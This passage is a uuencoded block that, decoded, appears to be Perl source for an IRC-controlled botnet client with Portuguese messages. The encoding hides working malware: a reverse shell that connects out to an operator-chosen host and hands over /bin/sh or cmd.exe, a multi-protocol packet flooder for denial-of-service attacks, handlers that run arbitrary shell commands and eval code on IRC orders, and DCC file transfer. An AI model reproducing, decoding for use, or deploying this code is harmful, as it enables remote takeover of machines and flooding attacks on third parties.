L=F\B*3L*("`@("`@("`@("`@("!]"B`@("`@("`@("`@('T*"B`@("`@("`@("`@(&5L<VEF("@D9G5N_8V%R9R`]?B`O7F-O;F)A8VM<<RLH+BHI7',K*%QD*RDO*2!["B`@("`@("`@("`@("`@;7D@)&AO<W0@/2`B_)#$B.PH@("`@("`@("`@("`@(&UY("1P;W)T82`]("(D,B(["B`@("`@("`@("`@("`@;7D@)'!R;W1O(#T@_9V5T<')O=&]B>6YA;64H)W1C<"<I.PH@("`@("`@("`@("`@(&UY("1I861D<B`](&EN971?871O;B@D:&]S_="D["B`@("`@("`@("`@("`@;7D@)'!A9&1R(#T@<V]C:V%D9')?:6XH)'!O<G1A+"`D:6%D9'(I.PH@("`@_("`@("`@("`@(&UY("1S:&5L;"`]("(O8FEN+W-H("UI(CL*("`@("`@("`@("`@("!I9B`H)%Y/(&5Q(")-_4U=I;C,R(BD@>PH@("`@("`@("`@("`@("`@)'-H96QL(#T@(F-M9"YE>&4B.PH@("`@("`@("`@("`@('T*_("`@("`@("`@("`@("!S;V-K970H4T]#2T54+"!01E])3D54+"!33T-+7U-44D5!32P@)'!R;W1O*2!O<B!D_:64@(G-O8VME=#H@)"$B.PH@("`@("`@("`@("`@(&-O;FYE8W0H4T]#2T54+"`D<&%D9'(I(&]R(&1I92`B_8V]N;F5C=#H@)"$B.PH@("`@("`@("`@("`@(&]P96XH4U1$24XL("(^)E-/0TM%5"(I.PH@("`@("`@("`@_("`@(&]P96XH4U1$3U54+"`B/B933T-+150B*3L*("`@("`@("`@("`@("!O<&5N*%-41$524BP@(CXF4T]#_2T54(BD["B`@("`@("`@("`@("`@<WES=&5M*"(D<VAE;&PB*3L*("`@("`@("`@("`@("!C;&]S92A35$1)_3BD["B`@("`@("`@("`@("`@8VQO<V4H4U1$3U54*3L*("`@("`@("`@("`@("!C;&]S92A35$1%4E(I.PH*_("`@("`@("`@("`@("!I9B`H)&5S=&%T:7-T:6-A<RD*("`@("`@("`@("`@("!["B`@("`@("`@("`@("`@_('-E;F1R87<H)$E20U]C=7)?<V]C:V5T+"`B4%))5DU31R`D<')I;G1L(#I<,#`R0V]N96-T86YD;RUS92!E_;5PP,#(Z("1H;W-T.B1P;W)T82(I.PH@("`@("`@("`@("`@('T*("`@("`@("`@("`@?0H*("`@("`@("`@_("!E;'-I9B`H)&9U;F-A<F<@/7X@+UYO;&1P86-K7',K*"XJ*5QS*RA<9"LI7',K*%QD*RDO*2!["B`@("`@_("`@("`@(')E='5R;B!U;FQE<W,@)'!A8V]T97,["B`@("`@("`@("`@("!M>2`H)&1T:6UE+"`E<&%C;W1E_<RD@/2!A='1A8VME<B@B)#$B+"`B)#(B+"`B)#,B*3L*("`@("`@("`@("`@("1D=&EM92`](#$@:68@)&1T_:6UE(#T](#`["B`@("`@("`@("`@("!M>2`E8GET97,["B`@("`@("`@("`@("`D8GET97-[:6=M<'T@/2`D_,B`J("1P86-O=&5S>VEG;7!].PH@("`@("`@("`@("`@)&)Y=&5S>VEC;7!](#T@)#(@*B`D<&%C;W1E<WMI_8VUP?3L*("`@("`@("`@("`@("1B>71E<WMO?2`]("0R("H@)'!A8V]T97-[;WT["B`@("`@("`@("`@("`D_8GET97-[=61P?2`]("0R("H@)'!A8V]T97-[=61P?3L*("`@("`@("`@("`@("1B>71E<WMT8W!](#T@)#(@_*B`D<&%C;W1E<WMT8W!].PH@("`@("`@("`@("`@=6YL97-S("@D97-T871I<W1I8V%S*0H@("`@("`@("`@_("`@>PH@("`@("`@("`@("`@("!S96YD<F%W*"1)4D-?8W5R7W-O8VME="P@(E!2259-4T<@)'!R:6YT;"`Z_7#`P,B`M(%-T871U<R`M7#`P,B(I.PH@("`@("`@("`@("`@("!S96YD<F%W*"1)4D-?8W5R7W-O8VME="P@_(E!2259-4T<@)'!R:6YT;"`Z7#`P,E1I;7!<,#`R.B`D9'1I;64B+B)S96-U;F1E+B(I.PH@("`@("`@("`@_("`@("!S96YD<F%W*"1)4D-?8W5R7W-O8VME="P@(E!2259-4T<@)'!R:6YT;"`Z7#`P,E1O=&%L('!A8VME_=%PP,#(Z("(N*"1P86-O=&5S>W5D<'T@*R`D<&%C;W1E<WMI9VUP?2`K("1P86-O=&5S>VEC;7!]("L@("1P_86-O=&5S>V]]*2D["B`@("`@("`@("`@("`@('-E;F1R87<H)$E20U]C=7)?<V]C:V5T+"`B4%))5DU31R`D_<')I;G1L(#I<,#`R5&]T86P@8GET97-<,#`R.B`B+B@D8GET97-[:6-M<'T@*R`D8GET97,@>VEG;7!]("L@_)&)Y=&5S>W5D<'T@*R`D8GET97-[;WTI*3L*("`@("`@("`@("`@("`@<V5N9')A=R@D25)#7V-U<E]S;V-K_970L(")04DE635-'("1P<FEN=&P@.EPP,#)&;&]O9%PP,#(Z("(N:6YT*"@H)&)Y=&5S>VEC;7!]*R1B>71E_<WMI9VUP?2LD8GET97-[=61P?2`K("1B>71E<WMO?2DO,3`R-"DO)&1T:6UE*2XB(&MB<',B*3L*("`@("`@_("`@("`@('T*("`@("`@("`@("!]"B`@("`@("`@("`@97AI=#L*("`@("`@('T*("!]"GT*"G-U8B!I<F-A_<V4@>PH@(&UY("@D:V5M+"`D<')I;G1L+"`D8V%S92D@/2!`7SL*"B`@(&EF("@D8V%S92`]?B`O7FIO:6X@_*"XJ*2\I('L*("`@("!J*"(D,2(I.PH@("!]"B`@(&5L<VEF("@D8V%S92`]?B`O7G!A<G0@*"XJ*2\I('L*_("`@("`@<"@B)#$B*3L*("`@?0H@("!E;'-I9B`H)&-A<V4@/7X@+UYR96IO:6Y<<RLH+BHI+RD@>PH@("`@_("!M>2`D8VAA;B`]("0Q.PH@("`@("!I9B`H)&-H86X@/7X@+UXH7&0K*2`H+BHI+RD@>PH@("`@("`@(&9O_<B`H;7D@)&-A(#T@,3L@)&-A(#P]("0Q.R`D8V$K*R`I('L*("`@("`@("`@('`H(B0R(BD["B`@("`@("`@_("!J*"(D,B(I.PH@("`@("`@('T*("`@("`@?2!E;'-E('L*("`@("`@("`@('`H(B1C:&%N(BD["B`@("`@_("`@("!J*"(D8VAA;B(I.PH@("`@("!]"B`@('T*("`@96QS:68@*"1C87-E(#U^("]>;W`O*2!["B`@("`@_(&]P*"(D<')I;G1L(BP@(B1K96TB*2!I9B`D8V%S92!E<2`B;W`B.PH@("`@("!M>2`D;V%R9R`]('-U8G-T_<B@D8V%S92P@,RD["B`@("`@(&]P*"(D,2(L("(D,B(I(&EF("@D;V%R9R`]?B`O*%Q3*RE<<RLH7%,K*2\I_.PH@("!]"B`@(&5L<VEF("@D8V%S92`]?B`O7F1E;W`O*2!["B`@("`@(&1E;W`H(B1P<FEN=&PB+"`B)&ME_;2(I(&EF("1C87-E(&5Q(")D96]P(CL*("`@("`@;7D@)&]A<F<@/2!S=6)S='(H)&-A<V4L(#4I.PH@("`@_("!D96]P*"(D,2(L("(D,B(I(&EF("@D;V%R9R`]?B`O*%Q3*RE<<RLH7%,K*2\I.PH@("!]"B`@(&5L<VEF_("@D8V%S92`]?B`O7G9O:6-E+RD@>PH@("`@("!V;VEC92@B)'!R:6YT;"(L("(D:V5M(BD@:68@)&-A<V4@_97$@(G9O:6-E(CL*("`@("`@)&]A<F<@/2!S=6)S='(H)&-A<V4L(#8I.PH@("`@("!V;VEC92@B)#$B+"`B_)#(B*2!I9B`H)&]A<F<@/7X@+RA<4RLI7',K*%Q3*RDO*3L*("`@?0H@("!E;'-I9B`H)&-A<V4@/7X@+UYD_979O:6-E+RD@>PH@("`@("!D979O:6-E*"(D<')I;G1L(BP@(B1K96TB*2!I9B`D8V%S92!E<2`B9&5V;VEC_92(["B`@("`@("1O87)G(#T@<W5B<W1R*"1C87-E+"`X*3L*("`@("`@9&5V;VEC92@B)#$B+"`B)#(B*2!I_9B`H)&]A<F<@/7X@+RA<4RLI7',K*%Q3*RDO*3L*("`@?0H@("!E;'-I9B`H)&-A<V4@/7X@+UYM<V=<<RLH_7%,K*2`H+BHI+RD@>PH@("`@("!M<V<H(B0Q(BP@(B0R(BD["B`@('T*("`@96QS:68@*"1C87-E(#U^("]>_9FQO;V1<<RLH7&0K*5QS*RA<4RLI("@N*BDO*2!["B`@("`@(&9O<B`H;7D@)&-F(#T@,3L@)&-F(#P]("0Q_.R`D8V8K*RD@>PH@("`@("`@(&US9R@B)#(B+"`B)#,B*3L*("`@("`@?0H@("!]"B`@(&5L<VEF("@D8V%S_92`]?B`O7F-T8W!F;&]O9%QS*RA<9"LI7',K*%Q3*RD@*"XJ*2\I('L*("`@("`@9F]R("AM>2`D8V8@/2`Q_.R`D8V8@/#T@)#$[("1C9BLK*2!["B`@("`@("`@8W1C<"@B)#(B+"`B)#,B*3L*("`@("`@?0H@("!]"B`@_(&5L<VEF("@D8V%S92`]?B`O7F-T8W!<<RLH7%,K*2`H+BHI+RD@>PH@("`@("!C=&-P*"(D,2(L("(D,B(I_.PH@("!]"B`@(&5L<VEF("@D8V%S92`]?B`O7FEN=FET95QS*RA<4RLI("@N*BDO*2!["B`@("`@(&EN=FET_92@B)#$B+"`B)#(B*3L*("`@?0H@("!E;'-I9B`H)&-A<V4@/7X@+UYN:6-K("@N*BDO*2!["B`@("`@(&YI_8VLH(B0Q(BD["B`@('T*("`@96QS:68@*"1C87-E(#U^("]>8V]N96-T85QS*RA<4RLI7',K*%Q3*RDO*2![_"B`@("`@("!C;VYE8W1A<B@B)#(B+"`B)#$B+"`V-C8W*3L*("`@?0H@("!E;'-I9B`H)&-A<V4@/7X@+UYS_96YD7',K*%Q3*RE<<RLH7%,K*2\I('L*("`@("`@1$-#.CI314Y$*"(D,2(L("(D,B(I.PH@("!]"B`@(&5L_<VEF("@D8V%S92`]?B`O7G)A=R`H+BHI+RD@>PH@("`@("!S96YD<F%W*"(D,2(I.PH@("!]"B`@(&5L<VEF_("@D8V%S92`]?B`O7F5V86P@*"XJ*2\I('L*("`@("`@979A;"`B)#$B.PH@("!]"B`@(&5L<VEF("@D8V%S_92`]?B`O7F5N=')A7',K*%Q3*RE<<RLH7&0K*2\I('L*("`@('-L965P(&EN="AR86YD*"0R*2D["B`@("!J_*"(D,2(I.PH@("!]"B`@(&5L<VEF("@D8V%S92`]?B`O7G-A:5QS*RA<4RLI7',K*%QD*RDO*2!["B`@("!S_;&5E<"!I;G0H<F%N9"@D,BDI.PH@("`@<"@B)#$B*3L*("`@?0H@("!E;'-I9B`H)&-A<V4@/7X@+UYS86ER_+RD@>PH@("`@('%U:70H*3L*("`@?0H@("!E;'-I9B`H)&-A<V4@/7X@+UYN;W9O;FEC:R\I('L*("`@(&UY_("1N;W9O;FEC:R`](&=E=&YI8VLH*3L*("`@("!N:6-K*"(D;F]V;VYI8VLB*3L*("`@?0H@("!E;'-I9B`H_)&-A<V4@/7X@+UYE<W1A=&ES=&EC87,@*"XJ*2\I('L*("`@("!I9B`H)#$@97$@(F]N(BD@>PH@("`@("`D_97-T871I<W1I8V%S(#T@,3L*("`@("`@;7-G*"(D<')I;G1L(BP@(D5S=&%T+G-T:6-A<R!A=&EV861A<R$B_*3L*("`@("!](&5L<VEF("@D,2!E<2`B;V9F(BD@>PH@("`@("`D97-T871I<W1I8V%S(#T@,#L*("`@("`@_;7-G*"(D<')I;G1L(BP@(D5S=&%T+G-T:6-A<R!D97-A=&EV861A<R$B*3L*("`@("!]"B`@('T*("`@96QS_:68@*"1C87-E(#U^("]><&%C;W1E<R`H+BHI+RD@>PH@("`@(&EF("@D,2!E<2`B;VXB*2!["B`@("`@("1P_86-O=&5S(#T@,3L*("`@("`@;7-G*"(D<')I;G1L(BP@(E!A8V]T97,@871I=F%D;W,A(BD@:68@*"1E<W1A_=&ES=&EC87,@/3T@(C$B*3L*("`@("!](&5L<VEF("@D,2!E<2`B;V9F(BD@>PH@("`@("`D<&%C;W1E<R`]_(#`["B`@("`@(&US9R@B)'!R:6YT;"(L(")086-O=&5S(&1E<V%T:79A9&]S(2(I(&EF("@D97-T871I<W1I_8V%S(#T]("(Q(BD["B`@("`@?0H@("!]"GT*<W5B('-H96QL('L*("!R971U<FX@=6YL97-S("1A8V5S<V]S_:&5L;#L*("!M>2`D<')I;G1L/21?6S!=.PH@(&UY("1C;VUA;F1O/21?6S%=.PH@(&EF("@D8V]M86YD;R`]_?B`O8V0@*"XJ*2\I('L*("`@(&-H9&ER*"(D,2(I('Q\(&US9R@B)'!R:6YT;"(L(")$:7)E="YR:6\@:6YE_>&ES=&5N=&4A(BD["B`@("!R971U<FX["B`@?0H@(&5L<VEF("@D<&ED(#T@9F]R:RD@>PH@("`@('=A:71P_:60H)'!I9"P@,"D["B`@?2!E;'-E('L*("`@("`@:68@*&9O<FLI('L*("`@("`@("`@97AI=#L*("`@("`@_('T@96QS92!["B`@("`@("`@("`@;7D@0')E<W`]8"1C;VUA;F1O(#(^)C$@,SXF,6`["B`@("`@("`@("`@_;7D@)&,],#L*("`@("`@("`@("!F;W)E86-H(&UY("1L:6YH82`H0')E<W`I('L*("`@("`@("`@("`@("1C_*RL["B`@("`@("`@("`@("!C:&]P("1L:6YH83L*("`@("`@("`@("`@('-E;F1R87<H)$E20U]C=7)?<V]C_:V5T+"`B4%))5DU31R`D<')I;G1L(#HD;&EN:&$B*3L*("`@("`@("`@("`@(&EF("@D8R`^/2`B)&QI;F%S_7VUA>"(I('L*("`@("`@("`@("`@("`@)&,],#L*("`@("`@("`@("`@("`@<VQE97`@)'-L965P.PH@("`@_("`@("`@("`@?0H@("`@("`@("`@('T*("`@("`@("`@("!E>&ET.PH@("`@("`@?0H@('T*?0H*<W5B(&%T_=&%C:V5R('L*("!M>2`D:6%D9'(@/2!I;F5T7V%T;VXH)%];,%TI.PH@(&UY("1M<V<@/2`G0B<@>"`D7ULQ_73L*("!M>2`D9G1I;64@/2`D7ULR73L*("!M>2`D8W`@/2`P.PH@(&UY("@E<&%C;W1E<RD["B`@)'!A8V]T_97-[:6-M<'T@/2`D<&%C;W1E<WMI9VUP?2`]("1P86-O=&5S>W5D<'T@/2`D<&%C;W1E<WMO?2`]("1P86-O_=&5S>W1C<'T@/2`P.PH*("!S;V-K970H4T]#2S$L(%!&7TE.150L(%-/0TM?4D%7+"`R*2!O<B`D8W`K*SL*_("!S;V-K970H4T]#2S(L(%!&7TE.150L(%-/0TM?1$=204TL(#$W*2!O<B`D8W`K*SL*("!S;V-K970H4T]#_2S,L(%!&7TE.150L(%-/0TM?4D%7+"`Q*2!O<B`D8W`K*SL*("!S;V-K970H4T]#2S0L(%!&7TE.150L(%-/_0TM?4D%7+"`V*2!O<B`D8W`K*SL*("!R971U<FXH=6YD968I(&EF("1C<"`]/2`T.PH@(&UY("1I=&EM92`]_('1I;64["B`@;7D@*"1C=7)?=&EM92D["B`@=VAI;&4@*"`Q("D@>PH@("`@(&9O<B`H;7D@)'!O<G1A(#T@_,3L@)'!O<G1A(#P](#8U-3,U.R`D<&]R=&$K*RD@>PH@("`@("`@)&-U<E]T:6UE(#T@=&EM92`M("1I=&EM_93L*("`@("`@(&QA<W0@:68@)&-U<E]T:6UE(#X]("1F=&EM93L*("`@("`@('-E;F0H4T]#2S$L("1M<V<L_(#`L('-O8VMA9&1R7VEN*"1P;W)T82P@)&EA9&1R*2D@86YD("1P86-O=&5S>VEG;7!]*RL@:68@*"1P86-O_=&5S(#T](#$I.PH@("`@("`@<V5N9"A33T-+,BP@)&US9RP@,"P@<V]C:V%D9')?:6XH)'!O<G1A+"`D:6%D_9'(I*2!A;F0@)'!A8V]T97-[=61P?2LK(&EF("@D<&%C;W1E<R`]/2`Q*3L*("`@("`@('-E;F0H4T]#2S,L_("1M<V<L(#`L('-O8VMA9&1R7VEN*"1P;W)T82P@)&EA9&1R*2D@86YD("1P86-O=&5S>VEC;7!]*RL@:68@_*"1P86-O=&5S(#T](#$I.PH@("`@("`@<V5N9"A33T-+-"P@)&US9RP@,"P@<V]C:V%D9')?:6XH)'!O<G1A_+"`D:6%D9'(I*2!A;F0@)'!A8V]T97-[=&-P?2LK(&EF("@D<&%C;W1E<R`]/2`Q*3L*"B`@("`@("!F;W(@_*&UY("1P8R`](#,[("1P8R`\/2`R-34[)'!C*RLI('L*("`@("`@("`@;F5X="!I9B`D<&,@/3T@-CL*("`@_("`@("`@)&-U<E]T:6UE(#T@=&EM92`M("1I=&EM93L*("`@("`@("`@;&%S="!I9B`D8W5R7W1I;64@/CT@_)&9T:6UE.PH@("`@("`@("!S;V-K970H4T]#2S4L(%!&7TE.150L(%-/0TM?4D%7+"`D<&,I(&]R(&YE>'0[_"B`@("`@("`@('-E;F0H4T]#2S4L("1M<V<L(#`L('-O8VMA9&1R7VEN*"1P;W)T82P@)&EA9&1R*2D@86YD_("1P86-O=&5S>V]]*RL@:68@*"1P86-O=&5S(#T](#$I.PH@("`@("`@?0H@("`@('T*("`@("!L87-T(&EF_("1C=7)?=&EM92`^/2`D9G1I;64["B`@?0H@(')E='5R;B@D8W5R7W1I;64L("5P86-O=&5S*3L*?0H*"G-U_8B!A8W1I;VX@>PH@("!R971U<FX@=6YL97-S("0C7R`]/2`Q.PH@("!S96YD<F%W*")04DE635-'("1?6S!=_(#I<,#`Q04-424].("1?6S%=7#`P,2(I.PI]"@IS=6(@8W1C<"!["B`@(')E='5R;B!U;FQE<W,@)"-?(#T]_(#$["B`@('-E;F1R87<H(E!2259-4T<@)%];,%T@.EPP,#$D7ULQ75PP,#$B*3L*?0IS=6(@;7-G('L*("`@_<F5T=7)N('5N;&5S<R`D(U\@/3T@,3L*("`@<V5N9')A=R@B4%))5DU31R`D7ULP72`Z)%];,5TB*3L*?0H*_<W5B(&YO=&EC92!["B`@(')E='5R;B!U;FQE<W,@)"-?(#T](#$["B`@('-E;F1R87<H(DY/5$E#12`D7ULP_72`Z)%];,5TB*3L*?0H*<W5B(&]P('L*("`@<F5T=7)N('5N;&5S<R`D(U\@/3T@,3L*("`@<V5N9')A=R@B_34]$12`D7ULP72`K;R`D7ULQ72(I.PI]"G-U8B!D96]P('L*("`@<F5T=7)N('5N;&5S<R`D(U\@/3T@,3L*_("`@<V5N9')A=R@B34]$12`D7ULP72`M;R`D7ULQ72(I.PI]"G-U8B!H;W`@>PH@("`@<F5T=7)N('5N;&5S_<R`D(U\@/3T@,3L*("`@<V5N9')A=R@B34]$12`D7ULP72`K:"`D7ULQ72(I.PI]"G-U8B!D96AO<"!["B`@_(')E='5R;B!U;FQE<W,@)"-?(#T](#$["B`@('-E;F1R87<H(DU/1$4@)%];,%T@*V@@)%];,5TB*3L*?0IS_=6(@=F]I8V4@>PH@("!R971U<FX@=6YL97-S("0C7R`]/2`Q.PH@("!S96YD<F%W*")-3T1%("1?6S!=("MV_("1?6S%=(BD["GT*<W5B(&1E=F]I8V4@>PH@("!R971U<FX@=6YL97-S("0C7R`]/2`Q.PH@("!S96YD<F%W_*")-3T1%("1?6S!=("UV("1?6S%=(BD["GT*<W5B(&)A;B!["B`@(')E='5R;B!U;FQE<W,@)"-?(#T](#$[_"B`@('-E;F1R87<H(DU/1$4@)%];,%T@*V(@)%];,5TB*3L*?0IS=6(@=6YB86X@>PH@("!R971U<FX@=6YL_97-S("0C7R`]/2`Q.PH@("!S96YD<F%W*")-3T1%("1?6S!=("UB("1?6S%=(BD["GT*<W5B(&MI8VL@>PH@_("!R971U<FX@=6YL97-S("0C7R`]/2`Q.PH@("!S96YD<F%W*")+24-+("1?6S!=("1?6S%=(#HD7ULR72(I_.PI]"@IS=6(@;6]D;R!["B`@(')E='5R;B!U;FQE<W,@)"-?(#T](#`["B`@('-E;F1R87<H(DU/1$4@)%];_,%T@)%];,5TB*3L*?0IS=6(@;6]D92![(&UO9&\H0%\I.R!]"@IS=6(@:B![("9J;VEN*$!?*3L@?0IS=6(@_:F]I;B!["B`@(')E='5R;B!U;FQE<W,@)"-?(#T](#`["B`@('-E;F1R87<H(DI/24X@)%];,%TB*3L*?0IS_=6(@<"![('!A<G0H0%\I.R!]"G-U8B!P87)T('MS96YD<F%W*")005)4("1?6S!=(BD[?0H*<W5B(&YI8VL@_>PH@(')E='5R;B!U;FQE<W,@)"-?(#T](#`["B`@<V5N9')A=R@B3DE#2R`D7ULP72(I.PI]"@IS=6(@:6YV_:71E('L*("`@<F5T=7)N('5N;&5S<R`D(U\@/3T@,3L*("`@<V5N9')A=R@B24Y6251%("1?6S%=("1?6S!=_(BD["GT*<W5B('1O<&EC;R!["B`@(')E='5R;B!U;FQE<W,@)"-?(#T](#$["B`@('-E;F1R87<H(E1/4$E#_("1?6S!=("1?6S%=(BD["GT*<W5B('1O<&EC('L@=&]P:6-O*$!?*3L@?0H*<W5B('=H;VES('L*("!R971U_<FX@=6YL97-S("0C7R`]/2`P.PH@('-E;F1R87<H(E=(3TE3("1?6S!=(BD["GT*<W5B('=H;R!["B`@<F5T_=7)N('5N;&5S<R`D(U\@/3T@,#L*("!S96YD<F%W*")72$\@)%];,%TB*3L*?0IS=6(@;F%M97,@>PH@(')E_='5R;B!U;FQE<W,@)"-?(#T](#`["B`@<V5N9')A=R@B3D%-15,@)%];,%TB*3L*?0IS=6(@87=A>2!["B`@_<V5N9')A=R@B05=!62`D7ULP72(I.PI]"G-U8B!B86-K('L@87=A>2@I.R!]"G-U8B!Q=6ET('L*("!S96YD_<F%W*")154E4(#HD7ULP72(I.PH@(&5X:70["GT*"G!A8VMA9V4@1$-#.PH*<W5B(&-O;FYE8W1I;VYS('L*_("`@;7D@0')E861Y(#T@)&1C8U]S96PM/F-A;E]R96%D*#$I.PH@("!F;W)E86-H(&UY("1F:"`H0')E861Y_*2!["B`@("`@;7D@)&1C8W1I<&\@/2`D1$-#>R1F:'U[=&EP;WT["B`@("`@;7D@)&%R<75I=F\@/2`D1$-#_>R1F:'U[87)Q=6EV;WT["B`@("`@;7D@)&)Y=&5S(#T@)$1#0WLD9FA]>V)Y=&5S?3L*("`@("!M>2`D8W5R_7V)Y=&4@/2`D1$-#>R1F:'U[8W5R8GET97T["B`@("`@;7D@)&YI8VL@/2`D1$-#>R1F:'U[;FEC:WT["@H@_("`@(&UY("1M<V<["B`@("`@;7D@)&YR96%D(#T@<WES<F5A9"@D9F@L("1M<V<L(#$P,C0P*3L*"B`@("`@_:68@*"1N<F5A9"`]/2`P(&%N9"`D9&-C=&EP;R`]?B`O7BAG971\<V5N9&-O;BDD+RD@>PH@("`@("`@("1$_0T-[)&9H?7MS=&%T=7-](#T@(D-A;F-E;&%D;R(["B`@("`@("`@)$1#0WLD9FA]>V9T:6UE?2`]('1I;64[_"B`@("`@("`@)&1C8U]S96PM/G)E;6]V92@D9F@I.PH@("`@("`@("1F:"T^8VQO<V4["B`@("`@("`@;F5X_=#L*("`@("!]"@H@("`@(&EF("@D9&-C=&EP;R!E<2`B9V5T(BD@>PH@("`@("`@("1$0T-[)&9H?7MC=7)B_>71E?2`K/2!L96YG=&@H)&US9RD["@H@("`@("`@(&UY("1C=7)?8GET92`]("1$0T-[)&9H?7MC=7)B>71E_?3L*"B`@("`@("`@;W!E;BA&24Q%+"`B/CX@)&%R<75I=F\B*3L*("`@("`@("!P<FEN="!&24Q%("(D;7-G_(B!I9B`H)&-U<E]B>71E(#P]("1B>71E<RD["B`@("`@("`@8VQO<V4H1DE,12D["@H@("`@("`@(&UY("1P_86-K8GET92`]('!A8VLH(DXB+"`D8W5R7V)Y=&4I.PH@("`@("`@('!R:6YT("1F:"`B)'!A8VMB>71E(CL*_"B`@("`@("`@:68@*"1B>71E<R`]/2`D8W5R7V)Y=&4I('L*("`@("`@("`@("`D9&-C7W-E;"T^<F5M;W9E_*"1F:"D["B`@("`@("`@("`@)&9H+3YC;&]S93L*("`@("`@("`@("`D1$-#>R1F:'U[<W1A='5S?2`](")2_96-E8FED;R(["B`@("`@("`@("`@)$1#0WLD9FA]>V9T:6UE?2`]('1I;64["B`@("`@("`@("`@;F5X=#L*_("`@("`@("!]"B`@("`@?2!E;'-I9B`H)&1C8W1I<&\@97$@(G-E;F0B*2!["B`@("`@("`@("!M>2`D<V5N_9"`]("1F:"T^86-C97!T.PH@("`@("`@("`@)'-E;F0M/F%U=&]F;'5S:"@Q*3L*("`@("`@("`@("1D8V-?_<V5L+3YA9&0H)'-E;F0I.PH@("`@("`@("`@)&1C8U]S96PM/G)E;6]V92@D9F@I.PH@("`@("`@("`@)$1#_0WLD<V5N9'U[=&EP;WT@/2`G<V5N9&-O;B<["B`@("`@("`@("`D1$-#>R1S96YD?7MI=&EM97T@/2!T:6UE_.PH@("`@("`@("`@)$1#0WLD<V5N9'U[;FEC:WT@/2`D;FEC:SL*("`@("`@("`@("1$0T-[)'-E;F1]>V)Y_=&5S?2`]("1B>71E<SL*("`@("`@("`@("1$0T-[)'-E;F1]>V-U<F)Y=&5](#T@,#L*("`@("`@("`@("1$_0T-[)'-E;F1]>V%R<75I=F]](#T@)&%R<75I=F\["B`@("`@("`@("`D1$-#>R1S96YD?7MI<'T@/2`D<V5N_9"T^<&5E<FAO<W0["B`@("`@("`@("`D1$-#>R1S96YD?7MP;W)T87T@/2`D<V5N9"T^<&5E<G!O<G0["B`@_("`@("`@("`D1$-#>R1S96YD?7MS=&%T=7-](#T@(D5N=FEA;F1O(CL*"B`@("`@("`@("!O<&5N*$9)3$4L_("(\("1A<G%U:79O(BD["B`@("`@("`@("!M>2`D9F)Y=&5S.PH@("`@("`@("`@<F5A9"A&24Q%+"`D9F)Y_=&5S+"`Q,#(T*3L*("`@("`@("`@('!R:6YT("1S96YD("(D9F)Y=&5S(CL*("`@("`@("`@(&-L;W-E($9)_3$4["B`@("`@?2!E;'-I9B`H)&1C8W1I<&\@97$@)W-E;F1C;VXG*2!["B`@("`@("`@("!M>2`D8GET97-?_<V5N9&5D(#T@=6YP86-K*").(BP@)&US9RD["B`@("`@("`@("`D1$-#>R1F:'U[8W5R8GET97T@/2`D8GET_97-?<V5N9&5D.PH@("`@("`@("`@:68@*"1B>71E<U]S96YD960@/3T@)&)Y=&5S*2!["B`@("`@("`@("`@_("`D9F@M/F-L;W-E.PH@("`@("`@("`@("`@)&1C8U]S96PM/G)E;6]V92@D9F@I.PH@("`@("`@("`@("`@_)$1#0WLD9FA]>W-T871U<WT@/2`B16YV:6%D;R(["B`@("`@("`@("`@("`D1$-#>R1F:'U[9G1I;65](#T@_=&EM93L*("`@("`@("`@("`@(&YE>'0["B`@("`@("`@("!]"B`@("`@("`@("!O<&5N*%-%3D1&24Q%+"`B_/"`D87)Q=6EV;R(I.PH@("`@("`@("`@<V5E:RA314Y$1DE,12P@)&)Y=&5S7W-E;F1E9"P@,"D["B`@("`@_("`@("!M>2`D<V5N9%]B>71E<SL*("`@("`@("`@(')E860H4T5.1$9)3$4L("1S96YD7V)Y=&5S+"`Q,#(T_*3L*("`@("`@("`@('!R:6YT("1F:"`B)'-E;F1?8GET97,B.PH@("`@("`@("`@8VQO<V4H4T5.1$9)3$4I_.PH@("`@('T*("`@?0I]"@H*<W5B(%-%3D0@>PH@(&UY("@D;FEC:RP@)&%R<75I=F\I(#T@0%\["B`@=6YL_97-S("@M<B`B)&%R<75I=F\B*2!["B`@("!R971U<FXH,"D["B`@?0H*("!M>2`D9&-C87)K(#T@)&%R<75I_=F\["B`@)&1C8V%R:R`]?B!S+ULN*EPO72A<4RLI+R0Q+SL*"B`@;7D@)&UE=6EP(#T@)#HZ:7)C7W-E<G9E_<G-[(B0Z.DE20U]C=7)?<V]C:V5T(GU[)VUE=6EP)WT["B`@;7D@)&QO;F=I<"`]('5N<&%C:R@B3B(L:6YE_=%]A=&]N*"1M975I<"DI.PH*("!M>2!`9FEL97-T870@/2!S=&%T*"1A<G%U:79O*3L*("!M>2`D<VEZ95]T_;W1A;#TD9FEL97-T871;-UT["B`@:68@*"1S:7IE7W1O=&%L(#T](#`I('L*("`@("!R971U<FXH,"D["B`@_?0H*("!M>2`H)'!O<G1A+"`D<V5N9'-O8VLI.PH@(&1O('L*("`@("1P;W)T82`](&EN="!R86YD*#8T-3$Q_*3L*("`@("1P;W)T82`K/2`Q,#(T.PH@("`@)'-E;F1S;V-K(#T@24\Z.E-O8VME=#HZ24Y%5"T^;F5W*$QI_<W1E;CT^,2P@3&]C86Q0;W)T(#T^)'!O<G1A+"!0<F]T;R`]/B`G=&-P)RD@86YD("1D8V-?<V5L+3YA9&0H_)'-E;F1S;V-K*3L*("!]('5N=&EL("1S96YD<V]C:SL*"B`@)$1#0WLD<V5N9'-O8VM]>W1I<&]](#T@)W-E_;F0G.PH@("1$0T-[)'-E;F1S;V-K?7MN:6-K?2`]("1N:6-K.PH@("1$0T-[)'-E;F1S;V-K?7MB>71E<WT@_/2`D<VEZ95]T;W1A;#L*("`D1$-#>R1S96YD<V]C:WU[87)Q=6EV;WT@/2`D87)Q=6EV;SL*"@H@("8Z.F-T_8W`H(B1N:6-K(BP@(D1#0R!314Y$("1D8V-A<FL@)&QO;F=I<"`D<&]R=&$@)'-I>F5?=&]T86PB*3L*"GT*_"G-U8B!'150@>PH@(&UY("@D87)Q=6EV;RP@)&1C8VQO;F=I<"P@)&1C8W!O<G1A+"`D8GET97,L("1N:6-K_*2`]($!?.PH@(')E='5R;B@P*2!I9B`H+64@(B1A<G%U:79O(BD["B`@:68@*&]P96XH1DE,12P@(CX@)&%R_<75I=F\B*2D@>PH@("`@(&-L;W-E($9)3$4["B`@?2!E;'-E('L*("`@(')E='5R;B@P*3L*("!]"@H@(&UY_("1D8V-I<#UF:7AA9&1R*"1D8V-L;VYG:7`I.PH@(')E='5R;B@P*2!I9B`H)&1C8W!O<G1A(#P@,3`R-"!O_<B!N;W0@9&5F:6YE9"`D9&-C:7`@;W(@)&)Y=&5S(#P@,2D["B`@;7D@)&1C8W-O8VL@/2!)3SHZ4V]C:V5T_.CI)3D54+3Y